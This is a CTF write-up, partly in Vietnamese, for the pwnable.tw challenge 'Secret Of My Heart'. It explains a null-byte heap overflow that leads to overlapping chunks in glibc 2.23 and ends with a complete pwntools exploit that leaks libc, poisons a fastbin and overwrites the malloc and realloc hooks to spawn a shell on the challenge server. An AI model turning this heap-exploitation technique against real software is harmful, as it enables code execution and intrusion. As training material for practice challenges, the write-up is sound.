pwnable.tw

Secret Of My Heart

Vuln: Chương trình đặt null byte sau input của user không cẩn thận, gây 1 null byte overflow, ghi đè vào size của chunk liền sau, attacker có thể gây chunks overlap từ đó.

tl;dr: Lại là 1 null byte overflow; Heap chunk consolidation, overlapping.

February 19, 2026 Medium

Recon

Mitigation

$ pwn checksec secret_of_my_heart
[*] '/home/hungnt/pwnable.tw/secret-of-my-heart/secret_of_my_heart'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
    FORTIFY:  Enabled
$ file secret_of_my_heart
secret_of_my_heart: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=123aede7094ecfa8f50b3b34f3b9c754835d4e25, stripped

GLIBC Version

pwndbg> libc
libc: glibc
libc version: 2.23
linked: dynamically
URLs:
    project homepage:       https://sourceware.org/glibc/
    read the source:        https://elixir.bootlin.com/glibc/glibc-2.23/source
    download the archive:   https://ftp.gnu.org/gnu/libc/glibc-2.23.tar.gz
    git clone               https://sourceware.org/git/glibc.git
Mappings:
    libc is at:             0x74db73400000
           /home/hungnt/pwnable.tw/secret-of-my-heart/libc_64.so.6
    ld is at:               0x74db73800000
           /home/hungnt/pwnable.tw/secret-of-my-heart/ld-2.23.so
Symbolication:
    has exported symbols:  yes
    has internal symbols:  yes
    has debug info:        yes

Code

main()

void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
  int choice; // eax

  setup();
  while ( 1 )
  {
    while ( 1 )
    {
      menu();
      choice = read_int();
      if ( choice != 3 )
        break;
      delete_secret();
    }
    if ( choice > 3 )
    {
      if ( choice == 4 )
        exit(0);
      if ( choice == 4869 )
        super_secret();
invalid:
      puts("Invalid choice");
    }
    else if ( choice == 1 )
    {
      add_secret();
    }
    else
    {
      if ( choice != 2 )
        goto invalid;
      show_secret();
    }
  }
}

add_secret()

int add_secret()
{
  int index; // [rsp+4h] [rbp-Ch]
  size_t size; // [rsp+8h] [rbp-8h]

  for ( index = 0; ; ++index )
  {
    if ( index > 99 )
      return puts("Fulled !!");
    if ( !secret_addr[index].content )
      break;
  }
  printf("Size of heart : ");
  size = (int)read_int();
  if ( size > 256 )
    return puts("Too big !");
  input_secret(&secret_addr[index], size);
  return puts("Done !");
}

input_secret()

char *__fastcall input_secret(Secret *secret, size_t size)
{
  char *result; // rax

  secret->size = size;
  printf("Name of heart :");
  read_input(secret->name, 32u);
  secret->content = (char *)malloc(size);
  if ( !secret->content )
  {
    puts("Allocate Error !");
    exit(0);
  }
  printf("secret of my heart :");
  result = &secret->content[(int)read_input(secret->content, size)];
  *result = 0;
  return result;
}

show_secret()

int show_secret()
{
  unsigned int index; // [rsp+Ch] [rbp-4h]

  printf("Index :");
  index = read_int();
  if ( index > 99 )
  {
    puts("Out of bound !");
    exit(-2);
  }
  if ( !secret_addr[index].content )
    return puts("No such heap !");
  printf("Index : %d\n", index);
  printf("Size : %lu\n", secret_addr[index].size);
  printf("Name : %s\n", secret_addr[index].name);
  return printf("Secret : %s\n", secret_addr[index].content);
}

delete_secret()

int delete_secret()
{
  unsigned int index; // [rsp+Ch] [rbp-4h]

  printf("Index :");
  index = read_int();
  if ( index > 99 )
  {
    puts("Out of bound !");
    exit(-2);
  }
  if ( !secret_addr[index].content )
    return puts("No such heap !");
  clear_secret(&secret_addr[index]);
  return puts("Done !");
}

Solve

Mình ngồi mãi ko nhìn ra bug, mình thật sự stuck và xin hint từ perplexity :|.

Thế là vấn đề nằm ở đây:

result = &secret->content[(int)read_input(secret->content, size)];
*result = 0;

Ngay sau dữ liệu được input của user, chương trình đặt byte này về 0. Mặc dù giúp đánh dấu nơi kết thúc của dữ liệu, nhưng nếu input của user đã đầy buffer, việc này gây 1 null byte overflow.

Cụ thể ở đây là ghi vào heap chunk, nếu user input đầy chunk với size 0x18, 0x28,… thì overflow 1 byte này có thể ghi đè vào trường size của chunk liền sau.

Mình lợi dụng overflow 1 byte để tạo overlapping chunks như sau:

  1. Setup 3 chunk A, B, C.
  2. Free chunk A.
  3. Ghi vào chunk B để overflow 1 byte sang size của chunk C, đồng thời ghi đè prev_size của chunk C đủ rộng về chunk A.
  4. Vì chunk A đã được free, chunk C có prev_inuse bit = 0, và prev_size đủ rộng, nếu chunk C được free, ptmalloc sẽ consolidate chunk C về trước, nghĩa là cả 3 chunk A, B, C sẽ bị gộp vào thành 1.

Từ đây mình có thể cấp phát một chunk lớn, overlap với chunk B -> UAF chunk B ok luôn.

Mình poison fastbin entry để có đc AAW, mình ghi one_gadget vào realloc_hook, realloc() vào malloc_hook để spawn shell, chứ ghi trực tiếp one_gadget vào malloc_hook thì ko thoả mãn constrain đc.

Script

#!/usr/bin/env python3

from pwn import *

sla = lambda p, d, x: p.sendlineafter(d, x)
sa = lambda p, d, x: p.sendafter(d, x)
sl = lambda p, x: p.sendline(x)
s = lambda p, x: p.send(x)

slan = lambda p, d, n: p.sendlineafter(d, str(n).encode())
san = lambda p, d, n: p.sendafter(d, str(n).encode())
sln = lambda p, n: p.sendline(str(n).encode())
sn = lambda p, n: p.send(str(n).encode())

ru = lambda p, x: p.recvuntil(x)
rl = lambda p: p.recvline()
rn = lambda p, n: p.recvn(n)
rr = lambda p, t: p.recvrepeat(timeout=t)
ra = lambda p, t: p.recvall(timeout=t)
ia = lambda p: p.interactive()

lg = lambda t, addr: print(t, '->', hex(addr))
binsh = lambda libc: next(libc.search(b"/bin/sh\0"))
leak_bytes = lambda r, offset=0: u64(r.ljust(8, b"\0")) - offset
leak_hex = lambda r, offset=0: int(r, 16) - offset
leak_dec = lambda r, offset=0: int(r, 10) - offset
pad = lambda len=1, c=b'A': c * len

exe = ELF("secret_of_my_heart_patched", checksec=False)
libc = ELF("libc_64.so.6", checksec=False)
ld = ELF("./ld-2.23.so", checksec=False)

context.terminal = ["/mnt/c/Windows/system32/cmd.exe", "/c", "start", "wt.exe", "-w", "0", "split-pane", "-V", "-s", "0.5", "wsl.exe", "-d", "Ubuntu-24.04", "bash", "-c"]
context.binary = exe

gdbscript = '''
cd ''' + os.getcwd() + '''
set solib-search-path ''' + os.getcwd() + '''
set sysroot /
set follow-fork-mode parent
set detach-on-fork on

continue
'''

def conn():
    if args.LOCAL:
        p = process([exe.path])
        sleep(0.1)
        if args.GDB:
            gdb.attach(p, gdbscript=gdbscript)
            sleep(1)
        return p
    else:
        host = "chall.pwnable.tw"
        port = 10302
        return remote(host, port)

p = conn()

def create_secret(size, name, secret):
    slan(p, b'choice', 1)
    slan(p, b'Size', size)
    sa(p, b'Name', name)
    sleep(0.01)
    if len(secret):
        sa(p, b'secret', secret)
        sleep(0.01)

def show_secret(index):
    slan(p, b'choice', 2)
    slan(p, b'Index', index)

def delete_secret(index):
    slan(p, b'choice', 3)
    slan(p, b'Index', index)

create_secret(0x80, b'A', b'A') # 0
create_secret(0x18, b'A', b'A') # 1
create_secret(0x100-0x10, b'A', pad(0x48, b'\0') + p64(0xb1)) # 2
create_secret(0x10, b'A', b'A') # 3

print("Overlapping chunks")
delete_secret(0)
delete_secret(1)

# Overflow 1 byte from chunk 0x18 to chunk 0xf0
create_secret(0x18, b'A', flat(pad(0x10), 0xb0)) # 0

# Consolidate 0x80 + 0x18 + 0xf0
delete_secret(2)

# Create so that ptmalloc write libc address to chunk 0x18 after splitting
create_secret(0x80, b'A', b'A') # 1

print("Leaking libc")
show_secret(0)

ru(p, b'Secret : ')
libc.address = leak_bytes(rn(p, 6), 0x3c3b78)
lg("libc base", libc.address)

delete_secret(1)

print("Overwriting hooks")
# Fake size to 0x70 to later overwrite malloc hook
create_secret(0xa0, b'A', flat(pad(0x88, b'\0'), 0x71, pad(0x10)))
delete_secret(0)

delete_secret(1)

malloc_hook = libc.symbols['__malloc_hook']
lg("malloc hook", malloc_hook)

# UAF to mess with fastbin entry
create_secret(0xa0, b'A', flat(pad(0x88, b'\0'), 0x71, malloc_hook - 0x23))

'''
0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL
'''
one_gadget = libc.address + 0x4526a
lg("one gadget", one_gadget)

realloc = libc.symbols['realloc']
lg("realloc", realloc)

create_secret(0x60, b'A', b'A')

create_secret(0x60, b'A', flat(pad(0x13 - 8), one_gadget, realloc + 12))

print("Spawn shell")
create_secret(0x10, b'A', b'')
rr(p, 1)
ia(p)